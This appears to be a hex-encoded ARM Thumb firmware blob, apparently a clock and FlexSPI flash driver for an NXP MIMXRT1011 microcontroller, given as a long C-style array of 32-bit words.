0xd1022900, 0xb0042000, 0x48edbdb0, 0x90019702, 0x01389f02, 0x98010d01, 0x68001808, 0x03892103, 0x0b804008, 0xd1022800, 0xfc6bf000, 0x2000e000, 0x48e34604, 0x0d090139, 0x68091809, 0x04122201, 0x0c094011, 0xd0012900, 0xe7dc4620, 0x183848dd, 0xd0292800, 0x05492101, 0xd0071a40, 0x1a400049, 0x49d9d02d, 0x28001840, 0xe068d16b, 0x304048d4, 0x90026a00, 0x49d24620, 0x69093140, 0xfbaef004, 0x90009101, 0x9a022300, 0xf98ef004, 0x48cc4605, 0x07c06b00, 0x28000fc0, 0x2016d002, 0xe0014344, 0x43442014, 0xe04e1964, 0x690048c5, 0x40082102, 0xd0012800, 0xe0002016, 0x43442014, 0x48c0e043, 0x6b003040, 0x0e400640, 0x48bd9003, 0x69003080, 0x46209002, 0x318049ba, 0xf0046809, 0x9101fb7f, 0x23009000, 0xf0049a02, 0x4605f95f, 0x98034621, 0x194c4341, 0x304048b2, 0x21036b00, 0x400804c9, 0xd0042800, 0x04c92101, 0xd1041a40, 0x08a4e001, 0x0864e002, 0xbf00e000, 0x48acbf00, 0x49ac6b00, 0x21014008, 0x1a4003c9, 0x0209d004, 0xd1031a40, 0xe00208a4, 0xe0000864, 0xbf00bf00, 0x4ca5e003, 0x2400e001, 0xbf00bf00, 0xe75c4620, 0x4604b570, 0xf7ff48a1, 0x4605ff41, 0xd0062c00, 0xd00e2c01, 0xd0182c02, 0xd12e2c03, 0x4898e021, 0x68003840, 0x0e890681, 0xf0044628, 0x4605fa24, 0x4893e025, 0x68003840, 0x0212223f, 0x0a014010, 0xf0044628, 0x4605fa18, 0x488de019, 0x68003840, 0x0412223f, 0x0c014010, 0xf0044628, 0x4605fa0c, 0x4887e00d, 0x68003840, 0x0612223f, 0x0e014010, 0xf0044628, 0x4605fa00, 0x2500e001, 0xbf00bf00, 0x43452012, 0xbd704628, 0x4604b570, 0x4240487a, 0xfefcf7ff, 0x2c004605, 0x2c01d006, 0x2c02d00e, 0x2c03d018, 0xe021d12e, 0x38804875, 0x06816b00, 0x46280e89, 0xf9dff004, 0xe0254605, 0x38804870, 0x223f6b00, 0x40100212, 0x46280a01, 0xf9d3f004, 0xe0194605, 0x3880486a, 0x223f6b00, 0x40100412, 0x46280c01, 0xf9c7f004, 0xe00d4605, 0x38804864, 0x223f6b00, 0x40100612, 0x46280e01, 0xf9bbf004, 0xe0014605, 0xbf002500, 0x2012bf00, 0x46284345, 0xb510bd70, 0x6940485e, 0x06492101, 0x28004008, 0x485bd022, 0x21036980, 0x40080309, 0xd0082800, 0x03092101, 0xd00a1a40, 0xd00c1a40, 0xd10f1a40, 0x484de00f, 0xf7ff4240, 0x4604fea1, 0xf000e00b, 0x4604fb32, 0x484de007, 0xfe98f7ff, 0xe0024604, 0x2400bf00, 0xe023bf00, 0x69804849, 0x04892103, 0x28004008, 0x2101d008, 0x1a400489, 0x1a40d009, 0x1a40d00c, 0xe00ed111, 0xf7ff4840, 0x4604fe7f, 0x2003e00d, 0xff78f7ff, 0xe0084604, 0xf7ff2003, 0x4604ff2f, 0x4c38e003, 0x2400e001, 0xbf00bf00, 0xbd104620, 0x4604b510, 0xd1002c00, 0x2297e004, 0xa041a134, 0xf8ccf004, 0x07802001, 0x6188492c, 0x4841bf00, 0x21016b00, 0x40080409, 0xd0f82800, 0x49274608, 0xbf006148, 0x69004825, 0x03c92101, 0x28004008, 0x0048d0f8, 0x61884921, 0x2001bd10, 0x491f0780, 0x47706148, 0xd1032800, 0x4a322110, 0xe0026351, 0x4a302110, 0x47706391, 0x6b00482e, 0x43082101, 0x6308492c, 0x482b4770, 0x08406b00, 0x49290040, 0x47706308, 0xf7ffb510, 0x4604ff6a, 0x69404813, 0x02922207, 0x0a804010, 0x46201c41, 0xf911f004, 0xb510bd10, 0xffeef7ff, 0x480c4604, 0x22036940, 0x40100212, 0x1c410a00, 0xf0044620, 0xbd10f902, 0x400d8000, 0xffeffff3, 0xff8ffff7, 0x400d8140, 0x00808000, 0x1dcd6500, 0x0030000d, 0x400fc000, 0x2e5c2e2e, 0x2e2e5c2e, 0x5c2e2e5c, 0x69766564, 0x5c736563, 0x584d494d, 0x30315452, 0x645c3131, 0x65766972, 0x665c7372, 0x635f6c73, 0x6b636f6c, 0x0000632e, 0x70796221, 0x58737361, 0x4f6c6174, 0x00006373, 0x400d8240, 0x4605b570, 0xf004002b, 0x0a12f9ed, 0x17130f0b, 0x2a25201b, 0x3e39342f, 0x524d4843, 0xbf005c57, 0xff9cf7ff, 0xe04e4604, 0xffa7f7ff, 0xe04a4604, 0xf84cf000, 0xe0464604, 0xfa4ff000, 0xe0424604, 0x2401bf00, 0xbf0003e4, 0x48fee03d, 0xfdb0f7ff, 0xe0384604, 0xf7ff2000, 0x4604fea9, 0x2001e033, 0xfea4f7ff, 0xe02e4604, 0xf7ff2002, 0x4604fe9f, 0x2003e029, 0xfe9af7ff, 0xe0244604, 0xf7ff48f2, 0x4604fd97, 0x2000e01f, 0xfe4cf7ff, 0xe01a4604, 0xf7ff2001, 0x4604fe47, 0x2002e015, 0xfe42f7ff, 0xe0104604, 0xf7ff2003, 0x4604fe3d, 0x48e7e00b, 0xfd7ef7ff, 0xe0064604, 0xf7ff48e5, 0x4604fd79, 0x2400e001, 0xbf00bf00, 0xbd704620, 0x48e1b510, 0x214069c0, 0x28004008, 0xf000d003, 0x4604f9fe, 0x2002e003, 0xff8cf7ff, 0x48da4604, 0x068069c0, 0x1c410e80, 0xf0044620, 0x4604f850, 0xbd104620, 0x4602b508, 0x308048d3, 0x23036800, 0x4bd14318, 0x60183380, 0x680048d0, 0x43182302, 0x60184bce, 0x90002000, 0xbf00e003, 0x1c409800, 0x4bcb9000, 0x42989800, 0x48cad3f7, 0x231f6a00, 0x4398021b, 0x43184bc8, 0x62184bc6, 0xbd082001, 0x690949c6, 0x03922203, 0x22014391, 0x43110412, 0x03927842, 0x039b2303, 0x4311401a, 0x61114abf, 0x69094611, 0x43912202, 0x019222c1, 0x78024311, 0x23020052, 0x4311401a, 0x61114ab8, 0x49b7bf00, 0x0fc96909, 0x290007c9, 0x49b4d0f9, 0x22016909, 0x43910412, 0x61114ab1, 0xb5384770, 0x460d4604, 0x90002000, 0x690048ad, 0x03492101, 0x28004008, 0x48aad006, 0x21406900, 0x49a84308, 0xe0026108, 0xf7ff4668, 0x48a6ffbd, 0x00406b00, 0x49a40840, 0x46086308, 0x04896b00, 0x49a14388, 0x20006308, 0x46086008, 0x21636b00, 0x43080389, 0x6308499c, 0xbd382001, 0x69004899, 0x43882140, 0x61084997, 0x6b004897, 0x07892101, 0x49954308, 0x47706308, 0x6b094992, 0x03922203, 0x22014391, 0x43110412, 0x03927b02, 0x039b2303, 0x4311401a, 0x63114a8b, 0x6b094611, 0x40114a8b, 0x03522201, 0x78024311, 0x0fd207d2, 0x4a854311, 0x68416311, 0x08890089, 0x32404a82, 0x68816111, 0x08890089, 0x8a416211, 0x0c490449, 0x03d27c02, 0x03db2301, 0x4311401a, 0x041289c2, 0x04120c12, 0x4a784311, 0x60113240, 0x4976bf00, 0x0fc96b09, 0x290007c9, 0x4973d0f9, 0x22016b09, 0x43910412, 0x63114a70, 0x20014770, 0x496e0300, 0x47706308, 0x496c2000, 0x47706108, 0x4601b530, 0x4b692200, 0x6b1b3340, 0x03a42403, 0x240143a3, 0x43230424, 0x03a47b0c, 0x03ad2503, 0x4323402c, 0x34404c61, 0x684b6323, 0x089b009b, 0x3c804c5c, 0x688b6023, 0x089b009b, 0x4b5b6123, 0x6b1b3340, 0x3c7e4c5b, 0x24014023, 0x43230364, 0x0664780c, 0x43230e64, 0x784b4618, 0xd0122b02, 0xd00b2b04, 0xd0042b08, 0xd1102b10, 0x4a52bf00, 0x2301e011, 0x431804db, 0xe00c4a4f, 0x051b2301, 0x4a4d4318, 0x2301e007, 0x431804db, 0x2301e003, 0x4318051b, 0xbf00bf00, 0x33404b42, 0x4c466b1b, 0x402343e4, 0x4c3f4313, 0x63233440, 0x33404b3f, 0xbf006318, 0x33404b3d, 0x0fdb6b1b, 0x2b0007db, 0x4b3ad0f8, 0x6b1b3340, 0x04242401, 0x4c3743a3, 0x63233440, 0x2001bd30, 0x49340300, 0x63083140, 0xb5104770, 0x4a2f2100, 0x6a123a40, 0x039b2303, 0x2301439a, 0x431a041b, 0x039b7903, 0x03a42403, 0x431a4023, 0x3b404b27, 0x7842621a, 0xd0022a00, 0x05922201, 0x4a234311, 0x6a123a40, 0x031b2301, 0x430a439a, 0x3b404b1f, 0xbf00621a, 0x3a404a1d, 0x0fd26a12, 0x2a0007d2, 0x4a1ad0f8, 0x6a123a40, 0x041b2301, 0x4b17439a, 0x621a3b40, 0x2001bd10, 0x49140300, 0x62083940, 0xb5704770, 0x4601460a, 0x68244c10, 0x25bf00ce, 0x43ac40b5, 0x00cd4623, 0x40ac2480, 0x4d0b431c, 0x0694602c, 0x00cd0ea4, 0x431c40ac, 0xe0194d07, 0x0010000d, 0x0030000d, 0x00e00016, 0x0070000d, 0x400fc000, 0x400e4140, 0x00061a80, 0x400d8100, 0x00001701, 0x400d8000, 0x400d9000, 0xffffeffe, 0x00808000, 0xbd70602c, 0x6809491d, 0x228000c3, 0x4311409a, 0x60114a1a, 0xb5704770, 0x4601460a, 0x3c404c17, 0x00ce6b24, 0x40b525bf, 0x462343ac, 0x248000cd, 0x431c40ac, 0x3d404d11, 0x0694632c, 0x00cd0ea4, 0x431c40ac, 0x3d404d0d, 0xbd70632c, 0x3940490b, 0x00c36b09, 0x409a2280, 0x4a084311, 0x63113a40, 0x48074770, 0x21106b00, 0x28004008, 0x4805d001, 0x48054770, 0x68004448, 0x0000e7fa, 0x400d8100, 0x400d8240, 0x016e3600, 0x00000204, 0x4606b570, 0x2504460c, 0x4621bf00, 0xf0034630, 0x4605fa88, 0xd0002d00, 0x2301e00c, 0x32804622, 0x46302100, 0xffdcf002, 0x28017c60, 0x2000d101, 0xbf007420, 0x4628bf00, 0xb5f0bd70, 0x4607b089, 0x4615460c, 0x2100461e, 0x70014668, 0x9002200f, 0x90032001, 0x74054668, 0x98029601, 0x46210100, 0x18423180, 0x46382101, 0xf0029b03, 0x2001ffb9, 0x46699002, 0xf0024638, 0xb009fe7a, 0xb5ffbdf0, 0x4606b085, 0x2504460c, 0x2c00bf00, 0xe03dd100, 0x30ce20ff, 0x28005d00, 0x4621d009, 0x9b084630, 0xf7ff9a07, 0x4605ffca, 0xd0002d00, 0x20ffe02e, 0x5d0030cd, 0xd1132802, 0x30804620, 0x6b426b83, 0x6bc06b01, 0xc70eaf01, 0x46209004, 0x46013080, 0x6c4b6c8f, 0x6cc96c0a, 0x63436387, 0x63c16302, 0x46304621, 0x9a079b08, 0xffc1f002, 0x20ff4605, 0x5d0030cd, 0xd1052802, 0x30804620, 0xc98ea901, 0xc08e3030, 0xd0002d00, 0xbf00e000, 0x4628bf00, 0xbdf0b009, 0xb089b5ff, 0x4615460c, 0x2704461e, 0x4633bf00, 0x4621462a, 0xf7ff9809, 0x4607ffa8, 0xd0002f00, 0x2100e01b, 0x70014668, 0x9002200e, 0x90032001, 0x74054668, 0x98029601, 0x46210100, 0x18423180, 0x9b032101, 0xf0029809, 0x2001ff41, 0x46699002, 0xf0029809, 0x4607fe02, 0xbf00bf00, 0xb00d4638, 0xb5ffbdf0, 0x4606b085, 0x2504460c, 0x2c00bf00, 0xe023d100, 0x30cd20ff, 0x28025d00, 0x4620d113, 0x69833080, 0x69016942, 0xaf0169c0, 0x9004c70e, 0x30804620, 0x6a8f4601, 0x6a0a6a4b, 0x61876ac9, 0x61026143, 0x462161c1, 0x9b084630, 0xf0029a07, 0x4605ffbb, 0xd0002d00, 0xbf00e000, 0x2c00bf00, 0x20ffd00a, 0x5d0030cd, 0xd1052802, 0x30804620, 0xc98ea901, 0xc08e3010, 0xb0094628, 0xb5f7bdf0, 0x460cb084, 0xbf004615, 0xd0012c00, 0xd9002d01, 0x20ffe065, 0x5d0030c9, 0xdd012800, 0xe0002001, 0x90032000, 0x28009803, 0xe058d100, 0x6c202140, 0x09864008, 0xf0039804, 0x2d00fa42, 0x20ffd119, 0x5d0030c9, 0xd00a2800, 0x30c920ff, 0x46325d01, 0xf7ff9804, 0x4621f83b, 0xf0029804, 0x20fffb2d, 0x5d0030cf, 0xd01c2800, 0x98042101, 0xfa4bf003, 0x20ffe017, 0x5d0030c9, 0xd0092800, 0x5d012046, 0x98044632, 0xf822f7ff, 0x98044621, 0xfb14f002, 0x30cf20ff, 0x28005d00, 0x2100d003, 0xf0039804, 0xaa02fa32, 0x98042102, 0xf878f7ff, 0xd0022e00, 0x08409802, 0xaa019002, 0x98042100, 0xf86ef7ff, 0x98019902, 0xfcedf003, 0x210a1c40, 0x08874348, 0xbf00e000, 0x1e7f4638, 0xd1fa2800, 0xbf00bf00, 0xbdf0b007, 0xb08bb5ff, 0x4617460c, 0x46304626, 0xfa9df002, 0x22009001, 0x980b4621, 0xff7ff7ff, 0x463bbf00, 0x9a014621, 0xf7ff980b, 0x4605febe, 0xd0002d00, 0x2002e04c, 0x72084669, 0x90052001, 0x90042009, 0x5d802047, 0xd00c2800, 0x309120ff, 0x28005d80, 0x20ffd007, 0x5d803092, 0x20ff9004, 0x5d803091, 0x97039005, 0x98014669, 0x980e7608, 0x20ff9007, 0x590030c1, 0x98049008, 0x46210100, 0x18423180, 0x9b052101, 0xf002980b, 0x2001fe3f, 0xa9029004, 0xf002980b, 0x4605fd00, 0xd0002d00, 0x463be016, 0x9a014621, 0xf7ff980b, 0x4605fefa, 0xd0002d00, 0x20ffe00c, 0x5d0030d0, 0xd0062800, 0x4621463b, 0x980b9a01, 0xfebaf7ff, 0xbf004605, 0x980bbf00, 0xf997f003, 0x46212201, 0xf7ff980b, 0x4628ff1e, 0xbdf0b00f, 0xb08db5f3, 0x2700460e, 0x900c2000, 0x900a900b, 0x46352400, 0x46682100, 0x20017101, 0x200b9004, 0x46689003, 0x20477501, 0x28005d40, 0x20ffd00c, 0x5d403095, 0xd0072800, 0x309620ff, 0x90035d40, 0x309520ff, 0x90045d40, 0x46312200, 0xf7ff980d, 0x2000fef2, 0x462f900b, 0x900a3750, 0xcf01e02b, 0x980c900c, 0xd01f2800, 0x46312200, 0x980d9b0b, 0xfe27f7ff, 0x2c004604, 0xe01fd000, 0x9002980b, 0x01009803, 0x31804631, 0x21011842, 0x980d9b04, 0xfdc8f002, 0x90032001, 0x980da901, 0xfc89f002, 0x2c004604, 0xe009d000, 0x980b990c, 0x900b1840, 0x1c40980a, 0x980a900a, 0xd3d02804, 0x2c00bf00, 0x2000d12e, 0x462f900b, 0x900a3750, 0xcf01e024, 0x980c900c, 0xd0182800, 0x46312200, 0x980d9b0b, 0xfe6bf7ff, 0x2c004604, 0xe018d000, 0x30d020ff, 0x28005d80, 0x2200d009, 0x9b0b4631, 0xf7ff980d, 0x4604fe2b, 0xd0002c00, 0x990ce009, 0x1840980b, 0x980a900b, 0x900a1c40, 0x2804980a, 0xbf00d3d7, 0xf003980d, 0x2201f8fc, 0x980d4631, 0xfe83f7ff, 0xb00f4620, 0xb5f7bdf0, 0x460eb08a, 0x46354617, 0xf0024628, 0x9000f990, 0x46312200, 0xf7ff980a, 0xbf00fe72, 0x4631463b, 0x980a9a00, 0xfdb1f7ff, 0x2c004604, 0xe048d000, 0x20009702, 0x71084669, 0x90042001, 0x90032005, 0x75089800, 0x5d402047, 0xd00c2800, 0x308d20ff, 0x28005d40, 0x20ffd007, 0x5d40308e, 0x20ff9003, 0x5d40308d, 0x98039004, 0x46310100, 0x18423180, 0x9b042101, 0xf002980a, 0x2001fd39, 0xa9019003, 0xf002980a, 0x4604fbfa, 0xd0002c00, 0x463be019, 0x9a004631, 0xf7ff980a, 0x4604fdf4, 0xd0002c00, 0x20ffe00f, 0x5d8030d0, 0xd0092800, 0x4631463b, 0x980a9a00, 0xfdb4f7ff, 0x2c004604, 0xe000d000, 0xbf00bf00, 0xf003980a, 0x2201f88e, 0x980a4631, 0xfe15f7ff, 0xb00d4620, 0xb5f7bdf0, 0x460eb08a, 0x46354617, 0xf0024628, 0x9000f922, 0x46312200, 0xf7ff980a, 0xbf00fe04, 0x4631463b, 0x980a9a00, 0xfd43f7ff, 0x2c004604, 0xe048d000, 0x20009702, 0x71084669, 0x90042001, 0x90032008, 0x75089800, 0x5d402047, 0xd00c2800, 0x309d20ff, 0x28005d40, 0x20ffd007, 0x5d40309e, 0x20ff9003, 0x5d40309d, 0x98039004, 0x46310100, 0x18423180, 0x9b042101, 0xf002980a, 0x2001fccb, 0xa9019003, 0xf002980a, 0x4604fb8c, 0xd0002c00, 0x463be019, 0x9a004631, 0xf7ff980a, 0x4604fd86, 0xd0002c00, 0x20ffe00f, 0x5d8030d0, 0xd0092800, 0x4631463b, 0x980a9a00, 0xfd46f7ff, 0x2c004604, 0xe000d000, 0xbf00bf00, 0xf003980a, 0x2201f820, 0x980a4631, 0xfda7f7ff, 0xb00d4620, 0xb5f0bdf0, 0x4607b08b, 0x4614460d, 0x2004461e, 0xbf009001, 0xd1002c00, 0x2124e012, 0xf003a802, 0x2003fae4, 0x72084669, 0x90042001, 0x94099005, 0x9503960a, 0x4638a902, 0xfb45f002, 0xbf009001, 0x9801bf00, 0xbdf0b00b, 0xb08fb5ff, 0x4616460c, 0x2004461d, 0xbf00900e, 0x20002700, 0x900b900a, 0x900d900c, 0x28056830, 0x6870d202, 0xd31b2840, 0x74202001, 0x02406c30, 0x00030f40, 0xfbdcf003, 0x0b050f07, 0x0907060d, 0xbf00000f, 0x2702bf00, 0x2704e009, 0x2701e007, 0x2703e005, 0x2700e003, 0x74202000, 0xe002bf00, 0x05008828, 0x2f000f07, 0x2000d070, 0x90029000, 0x46682100, 0x21037501, 0x90087101, 0x90092001, 0x90049003, 0xd00a2f01, 0xd0042f02, 0xd00a2f03, 0xd10c2f04, 0xbf00e000, 0x900a48fd, 0x48fce008, 0x900a3830, 0x48fae004, 0x900a300a, 0xbf00e000, 0x2301bf00, 0x4619aa0a, 0xf002980f, 0xa901fc19, 0xf002980f, 0x900efadc, 0x2800980e, 0xe071d000, 0x01006828, 0x28000f00, 0x88a8d008, 0x0e000400, 0xd0032800, 0x040088a8, 0x90000e00, 0x74202000, 0xd0062f01, 0xd0172f02, 0xd0382f03, 0xd1462f04, 0x2140e025, 0x40089800, 0xd10c2800, 0x20c049e1, 0x21c35101, 0x40089800, 0x21409000, 0x43089800, 0x20019000, 0xe0357420, 0x98002102, 0x28004008, 0x49d9d10b, 0x510120c0, 0x98002102, 0x90004308, 0x02009800, 0x20019000, 0xe0237420, 0x2102e02f, 0x40089800, 0xd1092800, 0x313049ce, 0x510120c0, 0x98002102, 0x90004308, 0x74202001, 0x2180e012, 0x40089800, 0xd1092800, 0x313d49c7, 0x510120c0, 0x98002180, 0x90004308, 0x74202001, 0x2000e002, 0xbf007420, 0x7c20bf00, 0xd0072800, 0x75202001, 0x75612104, 0x61a09800, 0x74602001, 0x2000bf00, 0xbf00900e, 0x980ebf00, 0xbdf0b013, 0xb08fb5f0, 0x460c4606, 0x25044617, 0x2000bf00, 0x900b9001, 0x900d900c, 0x9003900e, 0x46682100, 0x21037601, 0xa8017201, 0x20019009, 0x9004900a, 0x48a89005, 0x900b3050, 0xaa0b2301, 0x46304619, 0xfb78f002, 0x4630a902, 0xfa3bf002, 0x2d004605, 0xe01fd000, 0x980121f7, 0x90014008, 0x74202001, 0x04009801, 0x040921ff, 0x499d4008, 0x06894308, 0x20ff1841, 0x51013061, 0x75202001, 0x7561210e, 0x61a09801, 0x74602004, 0x20ff2101, 0x550130d0, 0xbf002500, 0x4628bf00, 0xbdf0b00f, 0xb098b5f7, 0x2504460c, 0x01e82700, 0x20009010, 0x7308a910, 0x20019011, 0xbf009012, 0xd1002c00, 0x4889e0ec, 0x46014478, 0x68c0c90e, 0xc60eae07, 0x2003900a, 0x7708a908, 0x9016a803, 0x90172010, 0x01009811, 0x31804621, 0x21011842, 0x98189b12, 0xfb22f002, 0x90112001, 0x9818a90f, 0xf9e3f002, 0x2d004605, 0xe0c9d000, 0x90022001, 0x1c409803, 0xd10b2800, 0x1c409804, 0xd1072800, 0x1c409805, 0xd1032800, 0x1c409806, 0xd00a2800, 0xa9032210, 0xf003a807, 0x2800f90f, 0x4d6cd001, 0x2000e0ae, 0x98029002, 0xd04a2800, 0x461a2300, 0x98184621, 0xfb41f7ff, 0x2d004605, 0xe09fd000, 0x90112009, 0xa9082002, 0xa8077708, 0x20109014, 0x98119015, 0x46210100, 0x18423180, 0x9b122101, 0xf0029818, 0x2001fadb, 0xa90f9011, 0xf0029818, 0x4605f99c, 0xd0002d00, 0x2300e082, 0x4621461a, 0xf0029818, 0x4605fb79, 0xd0002d00, 0x2000e078, 0x20039011, 0x7708a908, 0x9016a803, 0x90172010, 0x9818a90f, 0xf981f002, 0x2d004605, 0xe067d000, 0xa9032210, 0xf003a807, 0x2800f8bf, 0x4d44d001, 0x2032e05e, 0x20009001, 0x26029000, 0x6c202140, 0x64204308, 0x5d012046, 0x98182201, 0xfc0ef7fe, 0x2000e03f, 0x900c900b, 0x900e900d, 0x06092101, 0x42886d20, 0x4837d902, 0xe001900b, 0x900b4836, 0x30ffb2f0, 0x300230ff, 0x0309210b, 0x21011840, 0x18400489, 0x184001c9, 0x06892129, 0x900c4308, 0xaa0b2301, 0x98182100, 0xfa78f002, 0x90112000, 0xa9082003, 0xa8037708, 0x20109016, 0xa90f9017, 0xf0029818, 0x4605f932, 0xd0002d00, 0x2210e011, 0xa807a903, 0xf870f003, 0xd1012800, 0xe0082701, 0x2f001c76, 0x9800d105, 0x90001c40, 0x42889901, 0xbf00d3b7, 0xd0022f00, 0x6006981a, 0xbf00e000, 0x2f00bf00, 0x4d12d100, 0xb01b4628, 0xb5ffbdf0, 0x4604b088, 0x4629460d, 0x46283108, 0x9007305c, 0x900568e8, 0x0fc09805, 0x280007c0, 0x9805d016, 0x20011ec3, 0x90064098, 0x0000e014, 0x24010435, 0x20010401, 0x20020401, 0x00000481, 0x000035b4, 0x00004e2a, 0x8a2004ee, 0x8a1804ed, 0x1c409805, 0x900608c0, 0x65209806, 0x28406868, 0x23ffd205, 0x20ff3301, 0x510330c1, 0x8d08e010, 0x0f030600, 0x40982001, 0x23019004, 0x980403db, 0xd1014298, 0xe00011c3, 0x20ff9b04, 0x510330c1, 0x900348fc, 0x90022000, 0xe01cbf00, 0x460b0046, 0x5d9b331c, 0xd0152b00, 0x460f0046, 0x5dbf371c, 0x40be2601, 0x9e034633, 0xd20142b3, 0x90009303, 0x42b39e02, 0x2601d905, 0x42b30536, 0x9302d201, 0xbf009001, 0x28041c40, 0x23ffd3e0, 0x980333c5, 0x23ff5118, 0x980233d1, 0x9b025118, 0x42989803, 0x2301d104, 0x30ca20ff, 0xe0035503, 0x20ff2300, 0x550330ca, 0x061b2301, 0x42986d20, 0x2058d935, 0x28005d40, 0x9807d00b, 0x9b001d00, 0x60105cc0, 0x1d009807, 0x5cc39b01, 0x6003980b, 0x9800e034, 0x46080043, 0x1818301c, 0x28207840, 0x28d8d002, 0xe002d106, 0x60102021, 0x20dce002, 0xbf006010, 0x9801bf00, 0x46080043, 0x1818301c, 0x28207840, 0x28d8d002, 0xe003d108, 0x980b2321, 0xe0036003, 0x980b23dc, 0xbf006003, 0x9800e00e, 0x46080043, 0x1818301c, 0x60107840, 0x00439801, 0x301c4608, 0x78431818, 0x6003980b, 0xb00c2000, 0xb5ffbdf0, 0x460cb08d, 0x2004461f, 0xbf00900c, 0x4605980f, 0x980f3508, 0x900b305c, 0x900a2000, 0x02006838, 0x28010f00, 0x6828d107, 0x0fc00300, 0x980a900a, 0xd1002800, 0x2000e288, 0x78387320, 0x0f090701, 0x55012046, 0x90092000, 0x20189008, 0x20009005, 0xab069004, 0x4620aa07, 0xf7ff990f, 0x2101ff02, 0x6d200609, 0xd9014288, 0x90052020, 0x04008838, 0x90030f00, 0x28009803, 0x463bd165, 0x9a0f4621, 0xf7ff980d, 0x900cfcbd, 0x2800980c, 0xe25bd000, 0x02806828, 0x28000fc0, 0x2002d00a, 0x7a289004, 0x0f400600, 0x7a289008, 0x0ec006c0, 0xe00c9009, 0x02406828, 0x28000fc0, 0x68a8d007, 0x0f400200, 0x68a89008, 0x0ec002c0, 0x98059009, 0xd1322820, 0x3040980f, 0x28007e00, 0x980bd024, 0x05c08800, 0x28000fc0, 0x4980d007, 0x301120ff, 0x497f5101, 0x51011d00, 0x980be028, 0x06007800, 0x28000fc0, 0x497bd007, 0x301120ff, 0x49785101, 0x51011d00, 0x4977e01a, 0x20ff3922, 0x51013011, 0x1d004975, 0xe0115101, 0x39224972, 0x301120ff, 0x49715101, 0x51011d00, 0x4970e008, 0x301120ff, 0x496d5101, 0x51011d00, 0xe1ffe000, 0x73202001, 0x20b0496b, 0x496b5101, 0x51012090, 0xb2c09807, 0x02892101, 0x99051840, 0x22ff0409, 0x40110412, 0x21014308, 0x184106c9, 0x510120d0, 0xb2c09806, 0x02892101, 0x99051840, 0x40110409, 0x21014308, 0x184106c9, 0x300120ff, 0x21235101, 0x20ff0149, 0x51013031, 0x01006838, 0x28000f00, 0x7938d00d, 0xd00a2800, 0x90082000, 0x90097938, 0x2800980a, 0x9809d02a, 0x90090040, 0x980ae026, 0xd0232800, 0x01006838, 0x28010f00, 0x9805da1e, 0xd1062820, 0x39214944, 0x51012080, 0x20844947, 0x46215101, 0xf7ff980d, 0x900cf88f, 0x2800980c, 0xe1a5d000, 0x4621aa09, 0xf7ff980d, 0x900cfd29, 0x2800980c, 0xe19bd000, 0x90082000, 0x28189805, 0x980ad11a, 0xd0012800, 0xe04526ed, 0x02806828, 0x28000fc0, 0x8928d003, 0x0e060400, 0x6828e03c, 0x0fc00240, 0xd0022800, 0x0e0668a8, 0x2603e034, 0x90092000, 0xe02f9008, 0x90042002, 0x2800980a, 0x26eed001, 0x980fe028, 0x7e003040, 0xd0112800, 0x7800980b, 0x0fc00680, 0xd0012800, 0xe01b26ec, 0x7800980b, 0x0fc006c0, 0xd0152800, 0x2000266c, 0xe0119004, 0x02806828, 0x28000fc0, 0x26ecd001, 0x6828e00a, 0x0fc00240, 0xd0012800, 0xe003266c, 0x20002613, 0x90089009, 0x2800980a, 0x2140d028, 0x43086c20, 0xb2f06420, 0x18400109, 0x04099905, 0x041222ff, 0x43084011, 0x06492101, 0x21111840, 0x184106c9, 0x51012080, 0x0000e027, 0x00ffffff, 0x0a20043e, 0x00002204, 0x08200434, 0x00002004, 0x08180402, 0x00000406, 0x24040405, 0x00012404, 0x2101b2f0, 0x18400289, 0x04099905, 0x041222ff, 0x43084011, 0x06099904, 0x06122203, 0x43084011, 0x06c92101, 0x20801841, 0x20005101, 0x78389002, 0x0f000600, 0xd1062800, 0x98089909, 0x90091808, 0x90082000, 0x7838e06e, 0x0f000600, 0xd1682801, 0x6840980f, 0xd3042840, 0x05808f28, 0x28000fc0, 0x9909d106, 0x18089808, 0x20009009, 0xe0599008, 0x03006ba8, 0x90010f00, 0x07c09801, 0x28000fc0, 0x2104d104, 0x40089801, 0xd0022800, 0x900220a5, 0x2102e011, 0x40089801, 0xd00c2800, 0x4621463b, 0x980d9a0f, 0xfc06f7ff, 0x980c900c, 0xd0002800, 0x2001e0c6, 0x8f289002, 0x0e800400, 0x21029000, 0x40089800, 0xd1042800, 0x98002108, 0x28004008, 0x49f7d00d, 0x307120ff, 0x1d005101, 0x98055101, 0xd1192820, 0x20ff1409, 0x51013079, 0x9800e014, 0x0fc007c0, 0xd1042800, 0x98002110, 0x28004008, 0x49ecd009, 0x307120ff, 0x1d005101, 0x49ea5101, 0x51011d00, 0xe093e000, 0x20ff2101, 0x550130ce, 0xe08de000, 0x28009808, 0x9809d12f, 0xd0282800, 0x2800980a, 0x9809d012, 0x30ffb2c0, 0x300230ff, 0x0309210b, 0x21011840, 0x18400489, 0x184001c9, 0x06892129, 0x21844308, 0xe0635108, 0xb2c09809, 0x30ff30ff, 0x21033002, 0x18400309, 0x04892101, 0x01c91840, 0x21091840, 0x43080689, 0x51082184, 0x49cee050, 0x51012084, 0x990ae04c, 0xd0242900, 0x29019908, 0x2026d104, 0x09099902, 0xe0009102, 0x99022027, 0x31ffb2c9, 0x310231ff, 0x233f0282, 0x401a029b, 0x9a094311, 0x23ff0412, 0x401a041b, 0x22014311, 0x18890652, 0x0712220b, 0x2184188a, 0x4abb510a, 0x510a2188, 0x9908e023, 0xd1042901, 0x99022006, 0x91020909, 0x2007e000, 0xb2c99902, 0x31ff31ff, 0x02823102, 0x029b233f, 0x4311401a, 0x04129a09, 0x041b23ff, 0x4311401a, 0x06522201, 0x22031889, 0x188a0712, 0x510a2184, 0x21884aa9, 0xbf00510a, 0x2800980a, 0x2101d007, 0x30cf20ff, 0x21405501, 0x43086c20, 0x20006420, 0xbf00900c, 0x980cbf00, 0xbdf0b011, 0xb09ab5f7, 0x4f9e460c, 0x2c00bf00, 0x2704d101, 0x2308e08e, 0x2100aa18, 0xf7ff981a, 0x4607fa26, 0xd0002f00, 0x4997e084, 0x42889818, 0x4f94d001, 0xa818e07e, 0x60207900, 0x7980a818, 0x90171c40, 0x280a9817, 0x200ad901, 0x9817e000, 0x25089002, 0x2800981c, 0x022dd000, 0x00c39802, 0x4629aa03, 0xf7ff981a, 0x4607fa02, 0xd0002f00, 0x2164e060, 0xf0024620, 0x2600fcee, 0x00f0e055, 0x5c08a903, 0xaa0300f1, 0x79c91889, 0x18400209, 0x21ff9001, 0x98010209, 0xd0034288, 0x9801497b, 0xd1414288, 0x20022500, 0x022de007, 0xaa0300f1, 0x1d091889, 0x430d5c09, 0x28001e40, 